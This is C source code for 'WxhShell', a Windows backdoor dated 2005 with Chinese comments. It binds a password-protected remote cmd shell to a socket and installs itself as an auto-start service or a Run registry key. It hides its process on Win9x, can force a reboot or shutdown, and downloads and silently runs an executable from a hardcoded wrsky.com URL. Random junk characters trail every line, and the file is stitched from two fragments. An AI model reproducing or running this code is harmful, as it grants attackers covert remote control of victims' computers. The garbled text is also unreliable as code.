    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b_0THy.Z  
    if(Boot(SHUTDOWN)) ZZw`8 E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rf.pT+g.P  
    else { 3db{Tcn\@]  
    closesocket(wsh); &`"DG$N(  
    ExitThread(0); jEc_!Q  
    } J1?;'  
    break; ;O"?6d0  
    } sVLvnX,  
  // 获取shell qpjY &3SI  
  case 's': { 6K/RO)  
    CmdShell(wsh); $^Fl*:6  
    closesocket(wsh); "s2_X+4oY  
    ExitThread(0); a~$XD(w^  
    break; Z*,e<zNQ  
  } B VBn.ut  
  // 退出 S$6|K Y u  
  case 'x': { 0Y.z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NVyBEAoh  
    CloseIt(wsh); *FS8]!Qg  
    break; [);oj<  
    } [GwAm>k  
  // 离开 wj)LOA0  
  case 'q': { &qv~)ZM$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P}bIp+  
    closesocket(wsh); %b6$N_M{H1  
    WSACleanup(); Kkvc Zs'4m  
    exit(1); ewDYu=`*  
    break; twT/uBQ4a  
        } <_EKCk  
  } Ox3=1M0  
  } <Xf6?nyZ(  
nL@'??I1  
  // 提示信息 /x VHd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &i#$ia r  
} (lk9](;L  
  } S}6Ld(_  
#mxOwvJ  
  return; vygzL U^  
} d?,'$$aB  
> p`,  
// shell模块句柄 qBA)5Sv\V  
int CmdShell(SOCKET sock) u'YXI="(  
{ u4x-GObJM  
STARTUPINFO si; 18&"j 8'm  
ZeroMemory(&si,sizeof(si)); ? SFBUX(p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i8iT}^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5`;SI36"  
PROCESS_INFORMATION ProcessInfo; r- 8Awa  
char cmdline[]="cmd"; j=WxtMS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'aSsyD!?<  
  return 0; :F(4&e=w  
} aZ#FKp^8H  
!xs}CxEyA  
// 自身启动模式 S%SYvA  
int StartFromService(void) ~_THvx1  
{ ~7m`p3W@  
typedef struct M/ 3;-g  
{ m#"_x{oa  
  DWORD ExitStatus; ^e:z ul{;]  
  DWORD PebBaseAddress; >xWS>  
  DWORD AffinityMask; $BqiC!~  
  DWORD BasePriority; _O`prX.:B0  
  ULONG UniqueProcessId; -(vHy/Hz.  
  ULONG InheritedFromUniqueProcessId; .N(R~_  
}   PROCESS_BASIC_INFORMATION; G%F#I  
T(!1\TB  
PROCNTQSIP NtQueryInformationProcess; OC! {8MR  
rH}|~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7HkO:/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gp9 <LB\,  
FFT)m^4p.  
  HANDLE             hProcess; w,%"+ tY_  
  PROCESS_BASIC_INFORMATION pbi; p=+Y7NE)  
o&JoeKXor  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,Ag{-&  
  if(NULL == hInst ) return 0; z#{Y>.b  
H_xHoCLI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \f,<\mJ#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -rDfDdT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yy~x`P'g!  
={g"cx  
  if (!NtQueryInformationProcess) return 0; $z=a+t *  
|nMjv]#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2> a&m>  
  if(!hProcess) return 0; Bg|d2,im  
L*0YOE%=]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q%CrB>|@  
!@C-|=9G  
  CloseHandle(hProcess); (Mv~0ShakO  
GRc)3 2,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  ?K-4T  
if(hProcess==NULL) return 0; GcM1*)$ 4  
tP_.-//  
HMODULE hMod; m"L^tSD~  
char procName[255]; 0f4 y"9m  
unsigned long cbNeeded; 5;`Ot2  
/qdvzv%T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RHsVG &<j  
FQek+[ox  
  CloseHandle(hProcess); {OG1' m6=/  
lz^Vi!|p  
if(strstr(procName,"services")) return 1; // 以服务启动 4KH'S'eR  
:E W1I>}_  
  return 0; // 注册表启动 rB J`=oz  
} fb Bu^]^S  
% jDH{xSMb  
// 主模块 GwO`@-}E  
int StartWxhshell(LPSTR lpCmdLine) nw+t!C  
{ @@ j\OR  
  SOCKET wsl; \7\sx:!$  
BOOL val=TRUE; h<L_ =)lH  
  int port=0; Up Z 9g"  
  struct sockaddr_in door; +*OAClt+]  
[kJ;Uxncz~  
  if(wscfg.ws_autoins) Install(); e;v7!X  
D)MFii1J~  
port=atoi(lpCmdLine); A":=-$)  
)]n>.ZmLCB  
if(port<=0) port=wscfg.ws_port; G!%m~+",  
Vc0j)3  
  WSADATA data;  x,: k/]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DXJw)%G w  
Zzlt^#KLx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hq4&<Zr(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ew4D'; &;  
  door.sin_family = AF_INET; .BjWZj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zMepF]V  
  door.sin_port = htons(port); ]prw=rD  
HFB>0<$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F=&,=r' Q8  
closesocket(wsl); |>P:R4P  
return 1; sct 3|H#  
} 75>%!mhM  
ke@OG! M/  
  if(listen(wsl,2) == INVALID_SOCKET) { EFiVwH  
closesocket(wsl); 5X8 i=M;  
return 1; foPM5+.G  
} S%H"i y  
  Wxhshell(wsl); E9Kp=3H  
  WSACleanup(); A46dtFD{  
'RwfW|~6  
return 0; yl*%P3m|  
wo62R&ac  
} *s, bz.[  
2K3j3|T  
// 以NT服务方式启动 `C7pM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7E* 0;sA#  
{ f7zB_hVDmE  
DWORD   status = 0; n[BYBg1yG  
  DWORD   specificError = 0xfffffff; m Urb  
'"q+[zwv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Na]ITCVR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d~.hp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZHwl9n#m  
  serviceStatus.dwWin32ExitCode     = 0; e`B!)Sr  
  serviceStatus.dwServiceSpecificExitCode = 0; ">B&dNrt  
  serviceStatus.dwCheckPoint       = 0; 8bw, dBN  
  serviceStatus.dwWaitHint       = 0; (gdzgLHy  
A[4HD!9=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cEXd#TlY~X  
  if (hServiceStatusHandle==0) return; q-1vtbn  
j0F& WKk  
status = GetLastError(); )#Ecm<.^  
  if (status!=NO_ERROR) f&F9ImZ  
{ hey/#GC*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hQ)?LPUB  
    serviceStatus.dwCheckPoint       = 0; 8u*Q^-fpo0  
    serviceStatus.dwWaitHint       = 0; Q(WfWifu-|  
    serviceStatus.dwWin32ExitCode     = status; .|:(VG$MfI  
    serviceStatus.dwServiceSpecificExitCode = specificError; b;`MHEzw&q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ko{&~   
    return; t& yuo E  
  } i*xVD`x~  
i'ZnU55=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9e;{o,r@  
  serviceStatus.dwCheckPoint       = 0; 5a5JOl$8  
  serviceStatus.dwWaitHint       = 0; pNHL&H\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AgDXpaq  
} ;M+~ e~  
#pD=TMefC  
// 处理NT服务事件,比如:启动、停止 1mv5B t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BL0xSNE**  
{ 1[Q~&QC  
switch(fdwControl) Kk% I N9  
{ ?Rh[S  
case SERVICE_CONTROL_STOP: 1"l48NLL|  
  serviceStatus.dwWin32ExitCode = 0; $?&distJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wLq#,X>%B  
  serviceStatus.dwCheckPoint   = 0; nS!m1&DeD  
  serviceStatus.dwWaitHint     = 0; 4{$ L]toP  
  { meD83,L~N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YRaF@?^Gn  
  } 8P%Jky&(  
  return; BgsU:eKe  
case SERVICE_CONTROL_PAUSE: 9:!V":8q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o3'Za'N.  
  break; 4E$6&,\  
case SERVICE_CONTROL_CONTINUE: rB =c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9KL)5_6 M  
  break; `:gXQmt  
case SERVICE_CONTROL_INTERROGATE: Q-e(>=Gv_  
  break; ,_'Z Jlx  
}; nI`9|W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n}J!?zZc  
} SQdK`]4  
<@c9S,@t  
// 标准应用程序主函数 M r~IVmtf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KpKZiUQm  
{ <a(739IF  
e1H2w? s  
// 获取操作系统版本 \uOR1z  
OsIsNt=GetOsVer(); aslb^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JPe<qf-  
ZGS4P0$  
  // 从命令行安装 I5E4mv0<i  
  if(strpbrk(lpCmdLine,"iI")) Install(); 70A* !v  
Ye\ &_w"  
  // 下载执行文件 jrO{A3<E  
if(wscfg.ws_downexe) { V4?]NFK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *5" )3\/  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9,wU[=.0  
} Mir( }E  
(7|!%IO.  
if(!OsIsNt) { }ho6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^%RIz!}  
HideProc(); &bwI7cO  
StartWxhshell(lpCmdLine); ?,UO$#Xm  
} 1v9 #Fr Y  
else q[~+Zm  
  if(StartFromService()) z4s{a(Tsd  
  // 以服务方式启动 iRI7x)^0"z  
  StartServiceCtrlDispatcher(DispatchTable); $G#)D^-5G  
else "tU,.U  
  // 普通方式启动 ~ ll+/w\4  
  StartWxhshell(lpCmdLine); ?_@Mg\Hc  
 tZN'OoZ  
return 0; 6hf6Z 3  
} '+\.&'A  
cD9axlJ  
'zx1kq1  
6F?U:N#<  
=========================================== HhT6gJWrU  
6iJ\7  
j<-YK4.t  
Kw&t\},8@  
a*{ -r]  
K7] +. f  
" c~n:xblv  
_iZ9Ch\  
#include <stdio.h> Y2P%0  
#include <string.h>  pytF K)U  
#include <windows.h> f/%Q MhM:  
#include <winsock2.h> FSkz[D_}  
#include <winsvc.h> oz/Nx{bg  
#include <urlmon.h> @x/D8HK2  
dW"=/UW  
#pragma comment (lib, "Ws2_32.lib") nrRP1`!]T  
#pragma comment (lib, "urlmon.lib") = ^_4u%}  
J4q_}^/2w  
#define MAX_USER   100 // 最大客户端连接数 (b;*8  
#define BUF_SOCK   200 // sock buffer ^Z:qlYZ  
#define KEY_BUFF   255 // 输入 buffer .a]9rQQ&_  
U9:I"f,  
#define REBOOT     0   // 重启 Eh|v>Yew  
#define SHUTDOWN   1   // 关机 qI5`:PH%n  
rCgoU xW`  
#define DEF_PORT   5000 // 监听端口 J(=io_\bO  
<~-cp61z;  
#define REG_LEN     16   // 注册表键长度 rnS&^  
#define SVC_LEN     80   // NT服务名长度 b=Oec%Adx  
RP~ hi%A  
// 从dll定义API ;TTH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S[I-Z_S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PNhxF C.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xi81?F?[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }\/ 3B_X6N  
oVja$;>  
// wxhshell配置信息 -5sKJt]+i  
struct WSCFG { <t"|wYAa_  
  int ws_port;         // 监听端口 zJX _EO  
  char ws_passstr[REG_LEN]; // 口令 D:vX/mf;7  
  int ws_autoins;       // 安装标记, 1=yes 0=no XPsRa[08WK  
  char ws_regname[REG_LEN]; // 注册表键名 bz\-%$^k  
  char ws_svcname[REG_LEN]; // 服务名 qC ku q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E e 15Y$1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I/ V`@*/+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t p<wMrq<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /O&{fo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QeNN*@ ='i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s2t9+ZA+s  
:*dfP/GO  
}; b,):&M~p  
`T(T]^C98  
// default Wxhshell configuration d@e2+3<  
struct WSCFG wscfg={DEF_PORT, *d mS'/  
    "xuhuanlingzhe", 1&#qq*{  
    1, w  
    "Wxhshell", j$Wd[Ja+O  
    "Wxhshell",  y)GH=@b  
            "WxhShell Service", '4]_~?&x  
    "Wrsky Windows CmdShell Service", ]x:>!y  
    "Please Input Your Password: ", ]o3K  
  1, 1XPYI  
  "http://www.wrsky.com/wxhshell.exe", 4"~l^yK  
  "Wxhshell.exe" 1%`Nu ]D  
    }; L wP  
qEajT"?  
// 消息定义模块 ZYo?b"6A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -cP7`.a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E) z=85;_p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w~wg[d  
char *msg_ws_ext="\n\rExit."; \ _l4li  
char *msg_ws_end="\n\rQuit."; L. DD  
char *msg_ws_boot="\n\rReboot..."; Z )'gj  
char *msg_ws_poff="\n\rShutdown..."; ckdXla  
char *msg_ws_down="\n\rSave to "; Nn='9s9F?}  
8~ w P?  
char *msg_ws_err="\n\rErr!"; v$~$_K  
char *msg_ws_ok="\n\rOK!"; lFZl}x  
vtF|: *h  
char ExeFile[MAX_PATH]; E(g$f.9  
int nUser = 0; iOJ5KXrAO  
HANDLE handles[MAX_USER]; 7ro&Q%  
int OsIsNt; IaT\ymm`  
Ld?'X=eQ  
SERVICE_STATUS       serviceStatus; w9TE E,t;5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J>8kJCh9g  
hMnm>  
// 函数声明 YDYN#Ob(;  
int Install(void); 0)rayzv  
int Uninstall(void); SW)jDy  
int DownloadFile(char *sURL, SOCKET wsh); "/nbcQ*s*E  
int Boot(int flag); W5,&*mo  
void HideProc(void); `!Yd$=*c_&  
int GetOsVer(void); .,F`*JVFq  
int Wxhshell(SOCKET wsl); ~'v9/I-"  
void TalkWithClient(void *cs); WS//0  
int CmdShell(SOCKET sock); lc\{47LwZ  
int StartFromService(void); i ?PgYk&}  
int StartWxhshell(LPSTR lpCmdLine); M;9s  
Z rv:uEl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d9up! k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :!ablO~  
H3L uRGe&2  
// 数据结构和表定义 ZI.Czzx\=  
SERVICE_TABLE_ENTRY DispatchTable[] = Ey=ymf.}  
{  0*E_D  
{wscfg.ws_svcname, NTServiceMain}, 0.)q5B`  
{NULL, NULL} ]=ADX}  
}; -9Dr;2\  
%,(X R`  
// 自我安装 X0Wx\xDg[  
int Install(void) %n 6NVi_[  
{ 8([ MR  
  char svExeFile[MAX_PATH]; BbiyyRa  
  HKEY key; G=]ox*BY  
  strcpy(svExeFile,ExeFile); 1,P\dGmu  
.N7<bt@~)  
// 如果是win9x系统,修改注册表设为自启动 c h}wXn  
if(!OsIsNt) { pu5%$}dBE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %JgdLnQE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !yd ]~t 5Q  
  RegCloseKey(key); $[Q;{Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { udXzsY9Ng  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hpgOsF9Lh  
  RegCloseKey(key); e+V8I&%  
  return 0; D|*yeS4>  
    } y^z c @f  
  } 1_};!5$.  
} et"Pb_-U  
else { aIDv~#l  
?GlXxx=eV  
// 如果是NT以上系统,安装为系统服务 Wm}gnNwA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zl>dBc%  
if (schSCManager!=0) {,u})U2  
{ Y'5(exW  
  SC_HANDLE schService = CreateService s/B_  
  ( 9)t[YE:U3!  
  schSCManager, I,<?Kv  
  wscfg.ws_svcname, TyjZ  
  wscfg.ws_svcdisp, }LeS3\+UHl  
  SERVICE_ALL_ACCESS, ANNVE},  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vw4b@v-XQ3  
  SERVICE_AUTO_START, ,i1BoG  
  SERVICE_ERROR_NORMAL, <nb%$2r1  
  svExeFile, @%G?Nht]o  
  NULL, hNhEA $X5  
  NULL, x NjQ"'i8  
  NULL, N .H<'Q8&  
  NULL, jJ-C\ v  
  NULL _6V1oe2  
  ); jCXBp>9$M  
  if (schService!=0) JXMH7  
  { Q4hY\\Hi  
  CloseServiceHandle(schService); 46pR!k  
  CloseServiceHandle(schSCManager); \=7jp|{Yl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "l9aBBiu  
  strcat(svExeFile,wscfg.ws_svcname); -- FzRO{D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !><asaB]1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fIl!{pv[  
  RegCloseKey(key); /s~S\dG  
  return 0; 8#V D u(  
    } aWlIq(dU  
  } yi*EobP  
  CloseServiceHandle(schSCManager); \hZ%NL j  
} ;Xy=;Z.]i  
} * m^\&  
as|w} $  
return 1; gFKJbjT|  
} `:;q4zij;  
(S?Y3l|  
// 自我卸载 g_`a_0v  
int Uninstall(void) 9aY8`B  
{ 3V?x&qlP>  
  HKEY key; E "}@SaB-  
}ePl&-9T  
if(!OsIsNt) { fO&`A:JY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?KOw~-u  
  RegDeleteValue(key,wscfg.ws_regname); bY=[ USgps  
  RegCloseKey(key); QcW8A ,\q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vM6W64S  
  RegDeleteValue(key,wscfg.ws_regname); nAEyL+6U  
  RegCloseKey(key); [GI~ &  
  return 0; m|B=&#  
  } .WqqP  
} %&yPl{  
} ;//9,x9;t  
else { +q '1P}e  
jh)@3c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !43 !JfD  
if (schSCManager!=0) v={{ $=/t  
{ LWT\1#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LK~aLa5wG  
  if (schService!=0) `.@sux!lu  
  { 5 tQz!M  
  if(DeleteService(schService)!=0) { [jzsB:;XB&  
  CloseServiceHandle(schService); ERV]N:(  
  CloseServiceHandle(schSCManager); q\?s<l63  
  return 0; 'UIFP#GtFO  
  } 31a,i2Q4  
  CloseServiceHandle(schService); 0_gN]>,9n  
  } >8"Svt$  
  CloseServiceHandle(schSCManager); q[a\a7U z  
} oCa Ymi=:  
} w}>%E6UY  
j#n ]q{s4  
return 1; _|#abLh%  
} *9EwZwE_K  
6iyl8uL0J  
// 从指定url下载文件 dZ`Y>wH_  
int DownloadFile(char *sURL, SOCKET wsh) sv% X8  
{ `Npa/Q  
  HRESULT hr; _xaum  
char seps[]= "/"; {Ya$Q#l  
char *token; K=[7<b,:3  
char *file; 0Idek  
char myURL[MAX_PATH]; G<$:[ +w  
char myFILE[MAX_PATH]; q!z"YpYB  
z4:!*:.Asu  
strcpy(myURL,sURL); Xfq`k/ W  
  token=strtok(myURL,seps); 2`$*HPj+G  
  while(token!=NULL) kg7F8($  
  { V#7,vas  
    file=token; L1SKOM$  
  token=strtok(NULL,seps); &)1.z7T  
  } :W*yfhLt  
^Spu/55_  
GetCurrentDirectory(MAX_PATH,myFILE); SH?McBxS  
strcat(myFILE, "\\"); o72r `2  
strcat(myFILE, file); h+Co:pr  
  send(wsh,myFILE,strlen(myFILE),0); *#Cx-J  
send(wsh,"...",3,0); =GX5T(P8k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U6M ~N0)Yr  
  if(hr==S_OK) OX7=g$S 1  
return 0; \)~d,M}kK  
else P51M?3&=l  
return 1; r N$0qo  
6Rn?pe^  
} w \b+OW  
X,k^p[Rcu  
// 系统电源模块 MbRTOH  
int Boot(int flag) _Vr- bpAf  
{ eP-|3$  
  HANDLE hToken; Njc@5*rJ &  
  TOKEN_PRIVILEGES tkp; )UKX\nD"0  
Dp([r  
  if(OsIsNt) { [Yt{h9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z}+}X|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zXY8:+f  
    tkp.PrivilegeCount = 1; 3a?-UT!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T8o](:B~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !O_G%+>5W  
if(flag==REBOOT) { 0caZ_-zU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ln h =y2  
  return 0; yvYMk(LSF  
} &:  Q'X  
else { B6  0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3`^@ymY  
  return 0; G4cgY|71  
} 1h$?,  
  } ,s[%,ep`  
  else { 7}kJp%-  
if(flag==REBOOT) { F)^0R%{C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2ioHhcYdJU  
  return 0; <V&0GAZ  
} ?M4o>T%p"  
else { 5CY%h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X8)k'h  
  return 0; =D`8,n [  
} F/oqYk9`  
} v;]rFc#Px[  
mLhM_=  
return 1; cC/h7o dY  
} P 45Irir  
K<>kT4  
// win9x进程隐藏模块 =~1EpZ  
void HideProc(void) /WN YS  
{ S/]\GG{  
[Hh-F#|R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |}=eY?iXo  
  if ( hKernel != NULL ) KQ\K :#  
  { Q-<]'E#\(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9!( 8o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !&:=sA  
    FreeLibrary(hKernel); ^ij0<*ca9  
  } Pq /5Dy  
Z [!"x&H]h  
return; T fLqxioqZ  
} [IYVrT&C'  
Q %o@s3~O  
// 获取操作系统版本 _T\~%  
int GetOsVer(void) !Z$d<~Mq q  
{ 8['R D`O  
  OSVERSIONINFO winfo; ]oGd,v X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fL*7u\m:  
  GetVersionEx(&winfo); @v)Z>xv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1:-'euA"  
  return 1; `5Y*) q  
  else iWCYK7c@.-  
  return 0; TQ"XjbhU;X  
} dtTn]}J  
n>'(d*[e&  
// 客户端句柄模块 j`_S%E%X  
int Wxhshell(SOCKET wsl) uxfh?gsL  
{ h P6f   
  SOCKET wsh; Df6i*Ko|  
  struct sockaddr_in client; ;.}L# '0j  
  DWORD myID; im>(^{{r&  
Ln>!4i+-B)  
  while(nUser<MAX_USER) &da=hc,>%  
{ GHv6UIe&  
  int nSize=sizeof(client);  [Sm<X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); khy'Y&\F;  
  if(wsh==INVALID_SOCKET) return 1; w"R<8e=  
Rta}*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m\>gOTpA4  
if(handles[nUser]==0) |1@O>GG  
  closesocket(wsh); ]Uv,}W  
else b31$i 5{  
  nUser++; 7By7F:[b  
  } u]*7",R uU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2C S9v  
@ m`C%7<  
  return 0; <9@n/  
} XM]m%I  
rNN>tpZ}  
// 关闭 socket "c%wq 0  
void CloseIt(SOCKET wsh) %1#\LRA(  
{ kz=ho~ @  
closesocket(wsh); T~UDD3  
nUser--; {it.F4.  
ExitThread(0); gPMR,TU  
} do" m=y  
?1=.scmgDG  
// 客户端请求句柄 !U`4  
void TalkWithClient(void *cs) 5_9`v@-4_  
{ /?8 1Ypt  
-zK>{)Z=q  
  SOCKET wsh=(SOCKET)cs; W2{w<<\$3}  
  char pwd[SVC_LEN]; ,6+j oKe-  
  char cmd[KEY_BUFF];  ai 4k?  
char chr[1]; P-X|qVNK1Z  
int i,j; +^7cS6"L  
-ssb|r  
  while (nUser < MAX_USER) { 'aNkU  
dDS{XR  
if(wscfg.ws_passstr) { uEgR>X>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yi8vD~aA[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )G48,. "  
  //ZeroMemory(pwd,KEY_BUFF); SQ) BS/8A  
      i=0; "%T~d[M  
  while(i<SVC_LEN) { 19fa7E<  
[Qs`@u<%  
  // 设置超时 =z}PR1X!  
  fd_set FdRead; $:u*)&"t|  
  struct timeval TimeOut; bidFBldKl  
  FD_ZERO(&FdRead); 3,i j@P  
  FD_SET(wsh,&FdRead); Ti2cD  
  TimeOut.tv_sec=8; e=LrgRy+  
  TimeOut.tv_usec=0; (MXy\b<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  %lj5Olj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u(zgKoF9A  
nf pO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -'c qepC{T  
  pwd=chr[0]; /Am9w$_T[  
  if(chr[0]==0xd || chr[0]==0xa) { th{J;a  
  pwd=0; yl$Ko  
  break; 45biy(qa  
  } C).\ J !  
  i++; FH}?QebSR  
    } 6vNW)1{nn  
hT^&*}G  
  // 如果是非法用户,关闭 socket _sy{rnaqvb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =Ji[ ;wy@  
} co,0@.i  
2wpJ)t*PF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J *LPv9)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :[@rA;L  
j+3\I>  
while(1) { 0=,Nz  
aH;AGbp  
  ZeroMemory(cmd,KEY_BUFF); { {?-& yA  
A"r<$S6  
      // 自动支持客户端 telnet标准   o"Xv)#g&  
  j=0; ?[#w*Am7  
  while(j<KEY_BUFF) { ln_&Ux+l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _V3z!aI  
  cmd[j]=chr[0]; W(s5mX,Kv  
  if(chr[0]==0xa || chr[0]==0xd) { '7oR|I  
  cmd[j]=0; &Sb)a  
  break; glC,E>  
  } ] 6(%tU  
  j++; iq3)}hGo  
    } =9TwBr.CJ  
;):;H?WS|A  
  // 下载文件 [+FiD  
  if(strstr(cmd,"http://")) { #i~P])%gNP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W7C1\'T  
  if(DownloadFile(cmd,wsh)) S\ak(<X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7&,$  
  else 5~pxu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pcv\|)&}  
  } ")9^  
